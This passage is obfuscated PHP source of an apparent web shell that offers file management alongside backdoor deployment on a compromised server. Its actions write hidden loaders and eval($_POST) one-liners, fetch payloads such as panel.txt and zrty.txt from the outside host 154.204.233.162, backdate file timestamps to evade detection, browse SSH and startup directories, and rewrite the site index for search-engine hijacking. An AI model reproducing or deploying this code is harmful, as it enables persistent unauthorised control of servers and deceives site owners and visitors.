        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"filters\" value=\"" . htmlspecialchars($kKCOC) . "\" style=\"width:500px;\"> (\"|\", )</td></tr>";
        $QSO8f .= "<tr><td></td><td><label><input type=\"radio\" name=\"type\" value=\"0\"" . (!empty($_POST["type"]) ? '' : " checked") . "></label> ";
        $QSO8f .= "<label><input type=\"radio\" name=\"type\" value=\"1\"" . (!empty($_POST["type"]) ? " checked" : '') . "></label> ";
        $QSO8f .= "<label><input type=\"checkbox\" name=\"char\" value=\"1\"" . (!empty($_POST["char"]) ? " checked" : '') . "></label></td></tr>";
        $QSO8f .= "<tr><td></td><td><label><input type=\"radio\" name=\"range\" value=\"0\"" . (!empty($_POST["range"]) ? '' : " checked") . ">,</label> ";
        $QSO8f .= "<label><input type=\"radio\" name=\"range\" value=\"1\"" . (!empty($_POST["range"]) ? " checked" : '') . "></label></td></tr>";
        $QSO8f .= "<tr><td></td><td><input type=\"submit\" style=\"width:80px;\" value=\"\"></td></tr>";
        $QSO8f .= "</table></form>";
        if ($xsz7E != '') {
            flush();
            ob_flush();
            $QSO8f .= "<div style=\"padding:5px;background:#F8F8F8;text-align:left;\">";
            $t6SOR = $qGL_P == '' ? false : explode("|", $qGL_P);
            $x98RS = $kKCOC == '' ? false : explode("|", $kKCOC);
            $E56um = DqR9r(pBm07($UlicF . "/"), $xsz7E, $t6SOR, $x98RS, !empty($_POST["type"]) ? $_POST["type"] : '', !empty($_POST["char"]) ? $_POST["char"] : '', !empty($_POST["range"]) ? $_POST["range"] : '', $Jzwra);
            $QSO8f .= $E56um;
            $QSO8f .= "<p>" . ($E56um ? "<h2></h2>" : "<h1></h1>") . "</p></div>";
        }
        return $QSO8f;
    }
    public function hvVWe()
    {
        $trx7n = isset($_POST["updir"]) ? $_POST["updir"] : $_POST["godir"];
        $UgLz_ = " " . get_cfg_var("upload_max_filesize") . " POST " . get_cfg_var("post_max_size") . "";
        $yklRt = 10;
        $JGN3j = array();
        if (isset($_FILES["uploads"]) && isset($_POST["renames"])) {
            $TQlLa = $_FILES["uploads"];
            $uLtTd = 1;
            while ($uLtTd < $yklRt) {
                if ($TQlLa["error"][$uLtTd] == UPLOAD_ERR_OK) {
                    $QY5ao = $_POST["renames"][$uLtTd] == '' ? $TQlLa["name"][$uLtTd] : $_POST["renames"][$uLtTd];
                    $zi0Y0 = $TQlLa["tmp_name"][$uLtTd];
                    $J3Hov = PBm07($trx7n . "/" . $QY5ao);
                    $JGN3j[$uLtTd] = fivrG($zi0Y0, $J3Hov) ? "<br><h2> " . $QY5ao . "</h2>" : "<br><h1> " . $QY5ao . "</h1>";
                }
                $uLtTd++;
            }
        }
        $QSO8f = '';
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
        $QSO8f .= "<form name=\"upsfrm\" id=\"upsfrm\" method=\"POST\" enctype=\"multipart/form-data\">";
        $QSO8f .= AXTTQ();
        $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"upfiles\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"upload\">";
        $QSO8f .= "<div class=\"actall\"><p> <input type=\"text\" name=\"updir\" style=\"width:398px;\" value=\"" . $trx7n . "\"></p>";
        $uLtTd = 1;
        while ($uLtTd < $yklRt) {
            $QSO8f .= "<p>" . $uLtTd . " <input type=\"file\" name=\"uploads[" . $uLtTd . "]\" style=\"width:300px;\">  <input type=\"text\" name=\"renames[" . $uLtTd . "]\" style=\"width:128px;\"> " . (!empty($JGN3j[$uLtTd]) ? $JGN3j[$uLtTd] : '') . "</p>";
            $uLtTd++;
        }
        $QSO8f .= "</div></form><div class=\"actall\" style=\"padding:8px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('upsfrm').submit();\" value=\"\" style=\"width:80px;\"> ";
        $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $trx7n . "\">";
        $QSO8f .= AXTTQ();
        $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"\" style=\"width:80px;\"></form></div>";
        return $QSO8f;
    }
    public function i7u03()
    {
        $SFJ9z = PBM07($_POST["godir"] . "/" . $_POST["govar"]);
        $YM_6j = function_exists("iconv");
        $tAe0C = '';
        $uS2nL = '';
        if (!file_exists($SFJ9z)) {
            $UgLz_ = "";
        } else {
            $uS2nL = file_get_contents($SFJ9z);
            $tAe0C = "";
            $T3WIB = IDyFR(filesize($SFJ9z));
            $UgLz_ = " " . substr(decoct(fileperms($SFJ9z)), -4) . "  " . $T3WIB . "  " . $tAe0C . "";
        }
        $QSO8f = '';
        $QSO8f .= base64_decode("PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==");
        $QSO8f .= "<div class=\"msgbox\"><input name=\"keyword\" id=\"keyword\" type=\"text\" style=\"width:138px;height:15px;\"><input type=\"button\" value=\"IE\" onclick=\"search(\$('keyword').value);\"> - " . $UgLz_ . "</div>";
        $QSO8f .= "<form name=\"editfrm\" id=\"editfrm\" method=\"POST\">";
        $QSO8f .= axtTQ();
        $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"edit\">";
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">";
        $QSO8f .= "<div class=\"actall\"> <input type=\"text\" name=\"filename\" value=\"" . $SFJ9z . "\" style=\"width:528px;\"> ";
        if ($YM_6j) {
            $QSO8f .= " <select name=\"tostr\">";
            $I8314 = array("normal" => "", "utf" => "utf-8");
            foreach ($I8314 as $KPtbK => $Kes_q) {
                $QSO8f .= "<option value=\"" . $KPtbK . "\"" . ($Kes_q == $tAe0C ? " selected" : '') . ">" . $Kes_q . "</option>";
            }
            $QSO8f .= "</select>";
        }
        $QSO8f .= "</div><div class=\"actall\"><textarea name=\"filecode\" id=\"filecode\" style=\"width:698px;height:358px;\">" . $uS2nL . "</textarea></div></form>";
        $QSO8f .= "<div class=\"actall\" style=\"padding:5px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('editfrm').submit();\" value=\"\" style=\"width:80px;\"> ";
        $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">";
        $QSO8f .= AxttQ();
        $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"\" style=\"width:80px;\"></form></div>";
        return $QSO8f;
    }
    public function J0I1Z()
    {
        $Jzwra = $this->ddguj;
        $UgLz_ = '';
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : '';
        if ($JqKaG == "down") {
            $x3CQ0 = $J3Hov = pBM07($_POST["godir"] . "/" . $_POST["govar"]);
            if (!VZo7E($x3CQ0)) {
                $UgLz_ = "<h1></h1>";
            }
        }
        if (isset($_FILES["upfile"])) {
            if ($_FILES["upfile"]["name"] == '') {
                $UgLz_ = "<h1></h1>";
            } else {
                $QY5ao = $_POST["rename"] == '' ? $_FILES["upfile"]["name"] : $_POST["rename"];
                $zi0Y0 = $_FILES["upfile"]["tmp_name"];
                $J3Hov = PbM07($Jzwra . $QY5ao);
                $UgLz_ = FiVRg($zi0Y0, $J3Hov) ? "<h2>" . $QY5ao . "</h2>" : "<h1>" . $QY5ao . "</h1>";
            }
        }
        if (isset($_POST["act"])) {
            switch ($_POST["act"]) {
                case "a":
                    if (!$_POST["files"]) {
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>";
                    } else {
                        $uLtTd = 0;
                        foreach ($_POST["files"] as $eb_7J) {
                            $uLtTd += @copy(Pbm07($Jzwra . $eb_7J), pbM07($_POST["var"] . "/copy_" . $eb_7J)) ? 1 : 0;
                        }
                        $UgLz_ = $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>";
                    }
                    break;
                case "b":
                    if (!$_POST["files"]) {
                        $UgLz_ = "<h1></h1>";
                    } else {
                        $uLtTd = 0;
                        foreach ($_POST["files"] as $eb_7J) {
                            $uLtTd += @unlink(PBM07($Jzwra . $eb_7J)) ? 1 : 0;
                        }
                        $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " </h2>" : "<h1> " . $uLtTd . " </h1>";
                    }
                    break;
                case "c":
                    if (!$_POST["files"]) {
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>";
                    } else {
                        if (!preg_match("/[0-7]{4}\$/", $_POST["var"])) {
                            $UgLz_ = "<h1></h1>";
                        } else {
                            $uLtTd = 0;
                            foreach ($_POST["files"] as $eb_7J) {
                                try {
                                    $uLtTd += @chmod(pbM07($Jzwra . $eb_7J), base_convert($_POST["var"], 8, 10)) ? 1 : 0;
                                } catch (Throwable $yVbeC) {
                                }
                            }
                            $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>";
                        }
                    }
                    break;
                case "d":
                    if (!$_POST["files"]) {
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>";
                    } else {
                        if (!preg_match("/(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)/", $_POST["var"])) {
                            $UgLz_ = "<h1> " . $_POST["var"] . "</h1>";
                        } else {
                            $uLtTd = 0;
                            foreach ($_POST["files"] as $eb_7J) {
                                $uLtTd += @touch(PBm07($Jzwra . $eb_7J), strtotime($_POST["var"])) ? 1 : 0;
                            }
                            $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>";
                        }
                    }
                    break;
                case "e":
                    $PfRvL = pbm07($Jzwra . $_POST["var"] . "/");
                    if (file_exists($PfRvL)) {
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>";
                    } else {
                        $UgLz_ = @mkdir($PfRvL, 0777) ? "<h2> " . $_POST["var"] . " </h2>" : "<h1> " . $_POST["var"] . " </h1>";
                    }
                    break;
                case "f":
                    $rINXt = array("http" => array("timeout" => 30));
                    if (function_exists("stream_context_create")) {
                        $KlQ6w = stream_context_create($rINXt);
                    }
                    $dRqNZ = explode(" ", $_POST["var"]);
                    $s5r3y = @file_get_contents($dRqNZ[0], false, $KlQ6w);
                    $kojAr = explode("/", $dRqNZ[0]);
                    $eb_7J = array_pop($kojAr);
                    if (!empty($dRqNZ[1])) {
                        $eb_7J = $dRqNZ[1];
                    }
                    if ($s5r3y) {
                        if (LGU3J(pBM07($Jzwra . $eb_7J), $s5r3y, "wb")) {
                            $YJnbr = c4GhR($Jzwra);
                            $ipdt9 = 0;
                            if (!empty($YJnbr["file"])) {
                                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                                    if (!$ipdt9) {
                                        $ipdt9 = filemtime($cT1oz);
                                    } else {
                                        if (filemtime($cT1oz) < $ipdt9) {
                                            $ipdt9 = filemtime($cT1oz);
                                        }
                                    }
                                }
                            }
                            if ($ipdt9) {
                                @touch(pbm07($Jzwra . $eb_7J), $ipdt9);
                            }
                            chmod(pBm07($Jzwra . $eb_7J), 0755);
                            $UgLz_ = "<h2> " . $eb_7J . " </h2>";
                        } else {
                            "<h1> " . $eb_7J . " </h1>";
                        }
                    } else {
                        $UgLz_ = "<h1></h1>";
                    }
                    break;
                case "rf":
                    $kojAr = explode("|x|", $_POST["var"]);
                    if (count($kojAr) != 2) {
                        $UgLz_ = "<h1></h1>";
                    } else {
                        $UgLz_ = @rename(Pbm07($Jzwra . $kojAr[1]), pbM07($Jzwra . $kojAr[0])) ? "<h2> " . $kojAr[1] . "  " . $kojAr[0] . " </h2>" : "<h1> " . $kojAr[1] . "  " . $kojAr[0] . " </h1>";
                    }
                    break;
                case "pd":
                    $kojAr = explode("|x|", $_POST["var"]);
                    if (count($kojAr) != 2) {
                        $UgLz_ = "<h1></h1>";
                    } else {
                        $PfRvL = pbm07($Jzwra . $kojAr[1]);
                        try {
                            @chmod($PfRvL, base_convert($kojAr[0], 8, 10));
                            $QRlUz = true;
                        } catch (Throwable $yVbeC) {
                            $QRlUz = false;
                        }
                        $UgLz_ = $QRlUz ? "<h2>" . $kojAr[1] . "" . $kojAr[0] . "</h2>" : "<h1>" . $kojAr[1] . "" . $kojAr[0] . "</h1>";
                    }
                    break;
                case "edit":
                    if (!(isset($_POST["filename"]) && isset($this->N5qPH["filecode"]))) {
                    } else {
                        $UgLz_ = LGu3j($_POST["filename"], $this->N5qPH["filecode"], "w") ? "<h2> " . $_POST["filename"] . "</h2>" : "<h1> " . $_POST["filename"] . "</h1>";
                    }
                    break;
                case "deltree":
                    $C3hpU = PBm07($Jzwra . $_POST["var"] . "/");
                    if (!file_exists($C3hpU)) {
                        $UgLz_ = "<h1> " . $_POST["var"] . " </h1>";
                    } else {
                        $UgLz_ = mrf0q($C3hpU) ? "<h2> " . $_POST["var"] . " </h2>" : "<h1> " . $_POST["var"] . " </h1>";
                    }
                    break;
                case "plxiaoma":
                    $PfRvL = rtrim($_POST["dir"], "/");
                    $kojAr = explode("\n", trim($_POST["var"]));
                    $kFQIU = array();
                    if ($kojAr) {
                        $YJnbr = c4ghr($PfRvL);
                        $ipdt9 = 0;
                        if (!empty($YJnbr["file"])) {
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                                if (!$ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                } else {
                                    if (filemtime($cT1oz) < $ipdt9) {
                                        $ipdt9 = filemtime($cT1oz);
                                    }
                                }
                            }
                        }
                        foreach ($kojAr as $Hzx0E) {
                            $Hzx0E = trim($Hzx0E);
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E);
                            $eb_7J = array_pop($xNX14);
                            $xNX14 = implode("/", $xNX14);
                            if (!file_exists($xNX14)) {
                                mkdir($xNX14, 0755, "recursive");
                                chmod($xNX14, 0755);
                            }
                            if (strpos($eb_7J, ".php") !== false) {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                            } else {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                                if (!file_exists($dRqNZ)) {
                                    mkdir($dRqNZ, 0755, "recursive");
                                    chmod($dRqNZ, 0755);
                                }
                                $dRqNZ .= "/.xm.php";
                            }
                            file_put_contents($dRqNZ, "<?php file_put_contents(\"\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70\", file_get_contents (\"\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164\"));");
                            if ($ipdt9) {
                                @touch($dRqNZ, $ipdt9);
                            }
                            chmod($dRqNZ, 0755);
                            $kFQIU[] = sprintf(" %s", $dRqNZ);
                        }
                    }
                    $UgLz_ = implode("</br>", $kFQIU);
                    break;
                case "xiaoma":
                    $PfRvL = rtrim($_POST["var"], "/");
                    if (!file_exists($PfRvL)) {
                        mkdir($PfRvL, 0755, "recursive");
                        chmod($PfRvL, 0755);
                    }
                    $YJnbr = c4GHR($PfRvL);
                    $ipdt9 = 0;
                    if (!empty($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $dRqNZ = $PfRvL . "/.xm.php";
                    file_put_contents($dRqNZ, "<?php file_put_contents(\"\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70\", file_get_contents (\"\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164\"));");
                    if ($ipdt9) {
                        @touch($dRqNZ, $ipdt9);
                    }
                    chmod($dRqNZ, 0755);
                    $UgLz_ = sprintf("M %s ", $dRqNZ);
                    break;
                case "pldama":
                    $PfRvL = rtrim($_POST["dir"], "/");
                    $kojAr = explode("\n", trim($_POST["var"]));
                    $kFQIU = array();
                    if ($kojAr) {
                        $YJnbr = C4gHr($PfRvL);
                        $ipdt9 = 0;
                        if (!empty($YJnbr["file"])) {
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                                if (!$ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                } else {
                                    if (filemtime($cT1oz) < $ipdt9) {
                                        $ipdt9 = filemtime($cT1oz);
                                    }
                                }
                            }
                        }
                        foreach ($kojAr as $Hzx0E) {
                            $Hzx0E = trim($Hzx0E);
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E);
                            $eb_7J = array_pop($xNX14);
                            $xNX14 = implode("/", $xNX14);
                            if (!file_exists($xNX14)) {
                                mkdir($xNX14, 0755, "recursive");
                                chmod($xNX14, 0755);
                            }
                            if (strpos($eb_7J, ".php") !== false) {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                            } else {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                                if (!file_exists($dRqNZ)) {
                                    mkdir($dRqNZ, 0755, "recursive");
                                    chmod($dRqNZ, 0755);
                                }
                                $dRqNZ .= "/.index_bak.php";
                            }
                            file_put_contents($dRqNZ, file_get_contents(V51MD));
                            if ($ipdt9) {
                                @touch($dRqNZ, $ipdt9);
                            }
                            chmod($dRqNZ, 0755);
                            $kFQIU[] = sprintf("M %s ", $dRqNZ);
                        }
                    }
                    $UgLz_ = implode("</br>", $kFQIU);
                    break;
                case "dama":
                    $PfRvL = rtrim($_POST["var"], "/");
                    if (!file_exists($PfRvL)) {
                        mkdir($PfRvL, 0755, "recursive");
                        chmod($PfRvL, 0755);
                    }
                    $YJnbr = C4GhR($PfRvL);
                    $ipdt9 = 0;
                    if (!empty($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $dRqNZ = $PfRvL . "/.index_bak.php";
                    file_put_contents($dRqNZ, file_get_contents(V51MD));
                    if ($ipdt9) {
                        @touch($dRqNZ, $ipdt9);
                    }
                    chmod($dRqNZ, 0755);
                    $UgLz_ = sprintf("M %s ", $dRqNZ);
                    break;
                case "gxdama":
                    $PfRvL = rtrim($_POST["var"], "/");
                    if (!file_exists($PfRvL)) {
                        mkdir($PfRvL, 0755, "recursive");
                        chmod($PfRvL, 0755);
                    }
                    $YJnbr = c4GHr($PfRvL);
                    $ipdt9 = 0;
                    if (isset($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $dRqNZ = V51MD;
                    file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/panel.txt"));
                    if ($ipdt9) {
                        @touch($dRqNZ, $ipdt9);
                    }
                    chmod($dRqNZ, 0755);
                    $UgLz_ = sprintf("M %s", $dRqNZ);
                    break;
                case "plgzl":
                    $PfRvL = rtrim($_POST["dir"], "/");
                    $kojAr = explode("\n", trim($_POST["var"]));
                    $kFQIU = array();
                    if ($kojAr) {
                        $YJnbr = c4gHR($PfRvL);
                        $ipdt9 = 0;
                        if (!empty($YJnbr["file"])) {
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                                if (!$ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                } else {
                                    if (filemtime($cT1oz) < $ipdt9) {
                                        $ipdt9 = filemtime($cT1oz);
                                    }
                                }
                            }
                        }
                        $DAWrM = mDxRq();
                        foreach ($kojAr as $Hzx0E) {
                            $Hzx0E = trim($Hzx0E);
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E);
                            $eb_7J = array_pop($xNX14);
                            $xNX14 = implode("/", $xNX14);
                            if (!file_exists($xNX14)) {
                                mkdir($xNX14, 0755, "recursive");
                                chmod($xNX14, 0755);
                            }
                            if (strpos($eb_7J, ".php") !== false) {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                            } else {
                                $dRqNZ = $xNX14 . "/" . $eb_7J;
                                if (!file_exists($dRqNZ)) {
                                    mkdir($dRqNZ, 0755, "recursive");
                                    chmod($dRqNZ, 0755);
                                }
                                $dRqNZ .= "/gzl.php";
                            }
                            file_put_contents($dRqNZ, "<?php eval(\$_POST[\"" . $DAWrM . "\"]);");
                            if ($ipdt9) {
                                @touch($dRqNZ, $ipdt9);
                            }
                            chmod($dRqNZ, 0755);
                            $kFQIU[] = sprintf("GZL %s %s", $dRqNZ, $DAWrM);
                        }
                    }
                    $UgLz_ = implode("</br>", $kFQIU);
                    break;
                case "gzl":
                    $PfRvL = rtrim($_POST["var"], "/");
                    if (!file_exists($PfRvL)) {
                        mkdir($PfRvL, 0755, "recursive");
                        chmod($PfRvL, 0755);
                    }
                    $YJnbr = c4gHr($PfRvL);
                    $ipdt9 = 0;
                    if (isset($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $dRqNZ = $PfRvL . "/gzl.php";
                    $DAWrM = mDXRQ();
                    file_put_contents($dRqNZ, "<?php eval(\$_POST[\"" . $DAWrM . "\"]);");
                    if ($ipdt9) {
                        @touch($dRqNZ, $ipdt9);
                    }
                    chmod($dRqNZ, 0755);
                    $UgLz_ = sprintf("GZL %s %s", $dRqNZ, $DAWrM);
                    break;
                case "TDK":
                    $PfRvL = FO39n;
                    $YJnbr = C4GHR($PfRvL);
                    $ipdt9 = 0;
                    if (isset($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $hKJoi = trim($_POST["var"]);
                    $p9Pgu = $_SERVER["SERVER_PORT"];
                    $IJLc4 = $p9Pgu == "443" ? "https://" : "http://";
                    $QSO8f = cIVGh($IJLc4 . $_SERVER["HTTP_HOST"], 6);
                    if ($QSO8f) {
                        preg_match_all("/<meta(.*?)name=\"keywords\"(.*?)>/i", $QSO8f, $GlUYK);
                        if (!empty($GlUYK[0])) {
                            foreach ($GlUYK[0] as $Hzx0E) {
                                $QSO8f = str_replace($Hzx0E, '', $QSO8f);
                            }
                        }
                        preg_match_all("/<meta(.*?)name=\"description\"(.*?)>/i", $QSO8f, $GlUYK);
                        if (!empty($GlUYK[0])) {
                            foreach ($GlUYK[0] as $Hzx0E) {
                                $QSO8f = str_replace($Hzx0E, '', $QSO8f);
                            }
                        }
                        preg_match("/<title(.*?)>(.*?)<\\/title>/", $QSO8f, $GlUYK);
                        if (!empty($GlUYK[0])) {
                            $YfZ3Q = '';
                            if (!empty($GlUYK[2])) {
                                $YfZ3Q = "<script>if(navigator.userAgent.toLocaleLowerCase().indexOf(\"baidu\") == -1){document.title =\"" . $GlUYK[2] . "\"}</script>";
                                $QSO8f = str_replace($YfZ3Q, '', $QSO8f);
                            }
                            $YfZ3Q .= "\n" . $hKJoi;
                            $QSO8f = str_replace($GlUYK[0], $YfZ3Q, $QSO8f);
                        }
                        file_put_contents($PfRvL . "/index.html", $QSO8f);
                        if (file_exists($PfRvL . "/index.php")) {
                            copy($PfRvL . "/index.php", $PfRvL . "/index_copy.php");
                            if (!file_exists($PfRvL . "/index_copy.php")) {
                                file_put_contents($PfRvL . "/index_copy.php", file_get_contents($PfRvL . "/index.php"));
                            }
                        }
                        file_put_contents($PfRvL . "/index.php", $QSO8f);
                        if ($ipdt9) {
                            @touch($PfRvL . "/index.html", $ipdt9);
                            @touch($PfRvL . "/index.php", $ipdt9);
                        }
                        chmod($PfRvL . "/index.html", 0755);
                        chmod($PfRvL . "/index.php", 0755);
                        $UgLz_ = sprintf("TDK %s %s", $PfRvL . "/index.html", $PfRvL . "/index.php");
                    } else {
                        $UgLz_ = sprintf("TDK %s ", "http://" . $_SERVER["HTTP_HOST"]);
                    }
                    break;
                case "JSC":
                    $PfRvL = rtrim($_POST["var"], "/");
                    if (!file_exists($PfRvL)) {
                        mkdir($PfRvL, 0755, "recursive");
                        chmod($PfRvL, 0755);
                    }
                    $YJnbr = c4ghR($PfRvL);
                    $ipdt9 = 0;
                    if (isset($YJnbr["file"])) {
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                            } else {
                                if (filemtime($cT1oz) < $ipdt9) {
                                    $ipdt9 = filemtime($cT1oz);
                                }
                            }
                        }
                    }
                    $dRqNZ = $PfRvL . "/zrty.php";
                    file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/zrty.txt"));
                    if ($ipdt9) {
                        @touch($dRqNZ, $ipdt9);
                    }
                    chmod($dRqNZ, 0755);
                    $UgLz_ = sprintf("JSC %s", $dRqNZ);
                    break;
            }
        }
        try {
            $RoNtC = substr(decoct(fileperms($Jzwra)), -4);
        } catch (Throwable $yVbeC) {
            $RoNtC = false;
        }
        if (!$RoNtC) {
            $UgLz_ .= "<h1></h1>";
        }
        $YJnbr = c4GHr($Jzwra);
        $nbzHl = PbM07("/" . strtr($Jzwra, array(FO39n => '')) . "/");
        $Jzwra = strtr($Jzwra, array("'" => "%27", "\"" => "%22"));
        $QSO8f = '';
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
        $QSO8f .= "<div class=\"actall\"><form name=\"frm\" id=\"frm\" method=\"POST\">";
        $QSO8f .= AxTTq();
        $QSO8f .= (is_writable($Jzwra) ? "<h2></h2>" : "<h1></h1>") . " <input type=\"text\" name=\"dir\" id=\"dir\" style=\"width:508px;\" value=\"" . pBM07($Jzwra . "/") . "\"> ";
        $QSO8f .= "<input type=\"button\" onclick=\"\$('frm').submit();\" style=\"width:50px;\" value=\"\"> ";
        $QSO8f .= "<input type=\"button\" onclick=\"cd('" . FO39n . "');\" style=\"width:68px;\" value=\"\"> ";
        $QSO8f .= "<input type=\"button\" onclick=\"cd('" . k3TER . "');\" style=\"width:68px;\" value=\"\"> ";
        $QSO8f .= "<select onchange=\"cd(options[selectedIndex].value);\">";
        $QSO8f .= "<option>------</option>";
        $QSO8f .= "<option value=\"C:/RECYCLER/\">Win-RECYCLER</option>";
        $QSO8f .= "<option value=\"C:/\$Recycle.Bin/\">Win-\$Recycle</option>";
        $QSO8f .= "<option value=\"C:/Program Files/\">Win-Program</option>";
        $QSO8f .= "<option value=\"C:/Documents and Settings/All Users/Start Menu/Programs/Startup/\">Win-Startup</option>";
        $QSO8f .= "<option value=\"C:/Documents and Settings/All Users////\">Win-</option>";
        $QSO8f .= "<option value=\"C:/Windows/Temp/\">Win-TEMP</option>";
        $QSO8f .= "<option value=\"/usr/local/\">Linux-local</option>";
        $QSO8f .= "<option value=\"/tmp/\">Linux-tmp</option>";
        $QSO8f .= "<option value=\"/var/tmp/\">Linux-var</option>";
        $QSO8f .= "<option value=\"/etc/ssh/\">Linux-ssh</option>";
        $QSO8f .= "</select></form></div><div class=\"actall\">";
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"nf('edit','newfile.php');\" style=\"width:68px;\"> ";
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"txts('','newdir','e');\" style=\"width:68px;\"> ";
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"txts('','url','f');\" style=\"width:68px;\"> ";
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"go('upfiles','" . $Jzwra . "');\" style=\"width:68px;\"> ";
